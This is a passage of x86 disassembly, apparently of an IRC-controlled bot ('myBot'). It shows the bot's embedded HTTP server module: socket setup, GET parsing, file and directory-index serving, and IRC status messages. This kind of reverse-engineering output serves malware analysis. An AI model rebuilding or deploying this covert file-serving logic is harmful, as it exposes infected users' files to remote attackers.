		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40471A
		pop	edi


loc_404752:				; CODE XREF: sub_4046D7+3Bj
		push	esi		; File
		call	_fclose
		pop	ecx
		push	dword_42E664
		call	ds:dword_41B1DC	; closesocket
		call	ds:dword_41B1A8	; WSACleanup
		push	1
		pop	eax


loc_40476E:				; CODE XREF: sub_4046D7+35j
		pop	esi
		leave
		retn
sub_4046D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404771	proc near		; DATA XREF: sub_4022E3+333o
					; sub_409557+47A2o

Str		= byte ptr -28F0h
Str1		= byte ptr -18F0h
Dest		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_14], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_25C]
		call	dword_42EBB4	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_42EC30	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_404B5C
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43054C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_42EBE0	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_404B5C
		push	7FFFFFFFh
		push	edi
		call	dword_42EBDC	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_404B5C
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_42EC4C	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_404B5C
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_404848:				; CODE XREF: sub_404771+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_42EB9C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_404B57
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40487E:				; CODE XREF: sub_404771+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_42EABC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404B42
		cmp	esi, [ebp+var_C]
		jnz	short loc_404900
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_42EC44	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404B42
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_4048D2
		lea	edx, [ebp+var_134]


loc_4048C6:				; CODE XREF: sub_404771+15Fj
		cmp	[edx], eax
		jz	short loc_4048D2
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_4048C6


loc_4048D2:				; CODE XREF: sub_404771+14Dj
					; sub_404771+157j
		cmp	ecx, ebx
		jnz	short loc_4048EF
		cmp	ebx, 40h
		jnb	short loc_4048EF
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_4048EF:				; CODE XREF: sub_404771+163j
					; sub_404771+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_404B42
		mov	[ebp+var_8], eax
		jmp	loc_404B42
; ---------------------------------------------------------------------------


loc_404900:				; CODE XREF: sub_404771+126j
		mov	edi, 1000h
		lea	eax, [ebp+Str]
		push	edi		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_42EBCC	; recv
		test	eax, eax
		jg	short loc_404993
		push	esi
		call	dword_42EC48	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_404B42
		lea	eax, [ebp+var_134]


loc_404952:				; CODE XREF: sub_404771+1EBj
		cmp	[eax], esi
		jz	short loc_404963
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404952
		jmp	loc_404B42
; ---------------------------------------------------------------------------


loc_404963:				; CODE XREF: sub_404771+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_404987
		lea	eax, [ebp+ecx*4+var_134]


loc_404971:				; CODE XREF: sub_404771+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404971


loc_404987:				; CODE XREF: sub_404771+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_404B42
; ---------------------------------------------------------------------------


loc_404993:				; CODE XREF: sub_404771+1C8j
		xor	esi, esi
		push	104h		; Size
		lea	eax, [ebp+var_23C]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Str]
		mov	[ebp+arg_0], esi
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jbe	loc_404B42


loc_4049C1:				; CODE XREF: sub_404771+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+Str]
		cmp	al, 0Ah
		mov	[ebp+esi+Str1],	al
		jnz	loc_404A66
		mov	esi, offset SubStr ; "GET "
		lea	eax, [ebp+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A3A
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 5
		pop	ecx
		jbe	short loc_404A3A
		mov	eax, offset Delim ; " "
		push	eax		; Delim
		push	eax		; SubStr
		lea	eax, [ebp+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strtok
		push	eax		; Source
		lea	eax, [ebp+var_23C]
		push	eax		; Dest
		call	_strcpy
		add	esp, 10h
		jmp	short loc_404A51
; ---------------------------------------------------------------------------


loc_404A3A:				; CODE XREF: sub_404771+27Fj
					; sub_404771+291j
		lea	eax, [ebp+Str1]
		push	offset asc_41FD9C ; "\r\n"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A85


loc_404A51:				; CODE XREF: sub_404771+2C7j
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_404A66:				; CODE XREF: sub_404771+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+Str]
		push	eax		; Str
		inc	esi
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_4049C1
		jmp	loc_404B42
; ---------------------------------------------------------------------------


loc_404A85:				; CODE XREF: sub_404771+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404ACF
		lea	eax, [ebp+var_134]


loc_404A91:				; CODE XREF: sub_404771+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_404AA2
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404A91
		jmp	short loc_404AD2
; ---------------------------------------------------------------------------


loc_404AA2:				; CODE XREF: sub_404771+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_404AC6
		lea	eax, [ebp+ecx*4+var_134]


loc_404AB0:				; CODE XREF: sub_404771+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404AB0


loc_404AC6:				; CODE XREF: sub_404771+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_404AD2
; ---------------------------------------------------------------------------


loc_404ACF:				; CODE XREF: sub_404771+318j
		mov	esi, [ebp+var_4]


loc_404AD2:				; CODE XREF: sub_404771+32Fj
					; sub_404771+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_404B3B
		lea	eax, [ebp+var_360]
		push	eax		; Str
		call	_strlen
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax		; Str
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_404B3B
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_42EC4C	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_404D4E
		add	esp, 14h
		jmp	short loc_404B42
; ---------------------------------------------------------------------------


loc_404B3B:				; CODE XREF: sub_404771+369j
					; sub_404771+38Fj
		push	esi
		call	dword_42EC48	; closesocket


loc_404B42:				; CODE XREF: sub_404771+11Dj
					; sub_404771+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40487E
		jmp	loc_404848
; ---------------------------------------------------------------------------


loc_404B57:				; CODE XREF: sub_404771+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_404B5C:				; CODE XREF: sub_404771+6Aj
					; sub_404771+92j ...
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_404BA2
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_250]	; int
		push	eax		; int
		lea	eax, [ebp+var_5E8]
		push	eax		; Str
		push	[ebp+var_5EC]	; int
		call	sub_405E64
		add	esp, 14h


loc_404BA2:				; CODE XREF: sub_404771+40Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		pop	ecx
		push	edi
		call	dword_42EC48	; closesocket
		push	[ebp+var_254]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_404771	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BCC	proc near		; DATA XREF: sub_404D4E+246o

Str		= byte ptr -1654h
Source		= byte ptr -654h
Dest		= byte ptr -550h
var_44C		= dword	ptr -44Ch
Format		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_2C4]
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_404C31
		push	offset aTextHtml ; "text/html"
		jmp	short loc_404C36
; ---------------------------------------------------------------------------


loc_404C31:				; CODE XREF: sub_404BCC+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_404C36:				; CODE XREF: sub_404BCC+63j
		lea	eax, [ebp+var_9C]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_41B0A0	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_41B09C	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_404CAF
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	short loc_404CD0
; ---------------------------------------------------------------------------


loc_404CAF:				; CODE XREF: sub_404BCC+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 28h


loc_404CD0:				; CODE XREF: sub_404BCC+E1j
		lea	eax, [ebp+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_44C]
		call	dword_42EC00	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_404D10
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+var_44C]
		call	sub_405680
		pop	ecx
		pop	ecx
		jmp	short loc_404D2D
; ---------------------------------------------------------------------------


loc_404D10:				; CODE XREF: sub_404BCC+12Cj
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	edi		; int
		push	[ebp+var_44C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	sub_404FFE
		add	esp, 10h


loc_404D2D:				; CODE XREF: sub_404BCC+142j
		push	[ebp+var_44C]
		call	dword_42EC48	; closesocket
		push	[ebp+var_B4]
		call	sub_411F56
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
sub_404BCC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4E	proc near		; CODE XREF: sub_404771+3C0p

Source		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
Dest		= byte ptr -314h
var_211		= byte ptr -211h
Dst		= byte ptr -210h
Str		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_404D84
		push	eax
		push	offset aS_6	; "\\%s"
		jmp	short loc_404D8D
; ---------------------------------------------------------------------------


loc_404D84:				; CODE XREF: sub_404D4E+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_404D8D:				; CODE XREF: sub_404D4E+34j
		lea	eax, [ebp+Str]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Str]
		xor	esi, esi
		xor	ebx, ebx
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_404E28
		mov	[ebp+arg_8], 2


loc_404DB8:				; CODE XREF: sub_404D4E+D8j
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_404DF8
		cmp	[ebp+esi+Str], 25h
		jnz	short loc_404DF8
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_404DF8
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_404DF8
		inc	esi
		mov	[ebp+ebx+Dst], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_404E12
; ---------------------------------------------------------------------------


loc_404DF8:				; CODE XREF: sub_404D4E+7Aj
					; sub_404D4E+84j ...
		mov	al, [ebp+esi+Str]
		cmp	al, 2Fh
		jnz	short loc_404E08
		push	5Ch
		pop	eax
		jmp	short loc_404E0B
; ---------------------------------------------------------------------------


loc_404E08:				; CODE XREF: sub_404D4E+B3j
		movsx	eax, al


loc_404E0B:				; CODE XREF: sub_404D4E+B8j
		mov	[ebp+ebx+Dst], al


loc_404E12:				; CODE XREF: sub_404D4E+A8j
		lea	eax, [ebp+Str]
		inc	esi
		inc	[ebp+arg_8]
		push	eax		; Str
		inc	ebx
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_404DB8


loc_404E28:				; CODE XREF: sub_404D4E+61j
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+arg_4]
		push	offset aSS	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	offset asc_42002C ; "\n"
		push	eax		; Str
		call	_strtok
		add	esp, 18h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_41B0A8	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_404E76
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404E79
		push	[ebp+arg_0]
		jmp	short loc_404EF5
; ---------------------------------------------------------------------------


loc_404E76:				; CODE XREF: sub_404D4E+11Cj
		mov	[ebp+var_4], esi


loc_404E79:				; CODE XREF: sub_404D4E+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_404E86
		mov	[ebp+var_4], esi


loc_404E86:				; CODE XREF: sub_404D4E+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_404F00
		cmp	[ebp+arg_C], edi
		jz	short loc_404EF4
		lea	eax, [ebp+Dest]
		push	offset asc_420028 ; "*"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Dest]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_40573D
		lea	eax, [ebp+Dst]
		push	eax		; Format
		lea	eax, [ebp+var_53C]
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_404F4F
; ---------------------------------------------------------------------------


loc_404EF4:				; CODE XREF: sub_404D4E+14Fj
		push	ebx


loc_404EF5:				; CODE XREF: sub_404D4E+126j
		call	dword_42EC48	; closesocket
		jmp	loc_404FF7
; ---------------------------------------------------------------------------


loc_404F00:				; CODE XREF: sub_404D4E+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+Dest]
		push	80000000h
		push	eax
		call	ds:dword_41B05C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404F4F
		lea	eax, [ebp+Dest]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:dword_41B0A4	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_41B050	; CloseHandle


loc_404F4F:				; CODE XREF: sub_404D4E+1A4j
					; sub_404D4E+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+Source]
		push	esi
		push	offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"...
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_411C3A
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_430544[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_404BCC
		push	edi
		push	edi
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_430554[ecx], eax
		jz	short loc_404FC9


loc_404FB7:				; CODE XREF: sub_404D4E+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_404FF7
		push	5
		call	ds:dword_41B048	; Sleep
		jmp	short loc_404FB7
; ---------------------------------------------------------------------------


loc_404FC9:				; CODE XREF: sub_404D4E+267j
		push	ebx
		call	dword_42EC48	; closesocket
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		add	esp, 10h


loc_404FF7:				; CODE XREF: sub_404D4E+1ADj
					; sub_404D4E+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404D4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404FFE(char *Str,int,int,char	*Source)

sub_404FFE	proc near		; CODE XREF: sub_404BCC+159p
					; sub_409557+3E5Bp

Dst		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
Str1		= byte ptr -35Ch
var_248		= byte ptr -248h
Dest		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	_memset
		mov	edi, [ebp+Str]
		push	offset asc_42002C ; "\n"
		push	edi		; Str
		call	_strtok
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40505D
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_40515A
; ---------------------------------------------------------------------------


loc_40505D:				; CODE XREF: sub_404FFE+3Aj
		cmp	[ebp+Source], ebx
		push	edi		; Str
		jz	loc_405140
		call	_strlen
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		push	edi		; Str
		call	_strlen
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40515A
; ---------------------------------------------------------------------------


loc_405140:				; CODE XREF: sub_404FFE+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_40515A:				; CODE XREF: sub_404FFE+5Aj
					; sub_404FFE+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		cmp	[ebp+Source], ebx
		jz	short loc_4051F2
		push	[ebp+Source]	; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4051F2
		push	[ebp+Source]	; Str
		call	_strlen
		sub	eax, 3
		pop	ecx
		jz	short loc_4051A6


loc_40519A:				; CODE XREF: sub_404FFE+1A6j
		mov	ecx, [ebp+Source]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4051A6
		dec	eax
		jnz	short loc_40519A


loc_4051A6:				; CODE XREF: sub_404FFE+19Aj
					; sub_404FFE+1A3j
		inc	eax
		push	eax		; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send


loc_4051F2:				; CODE XREF: sub_404FFE+17Ej
					; sub_404FFE+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_41B0BC	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+Str], eax
		push	ecx
		push	eax
		call	ds:dword_41B0B8	; FindNextFileA
		test	eax, eax
		jz	loc_4055E3
		mov	edi, 1FFh


loc_40521E:				; CODE XREF: sub_404FFE+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_4055CB
		lea	eax, [ebp+Str1]
		push	offset a__	; ".."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055CB
		lea	eax, [ebp+Str1]
		push	offset a__0	; "."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055CB
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_41B0B4	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_41B0B0	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_405293
		mov	ecx, offset aAm	; "AM"


loc_405293:				; CODE XREF: sub_404FFE+28Ej
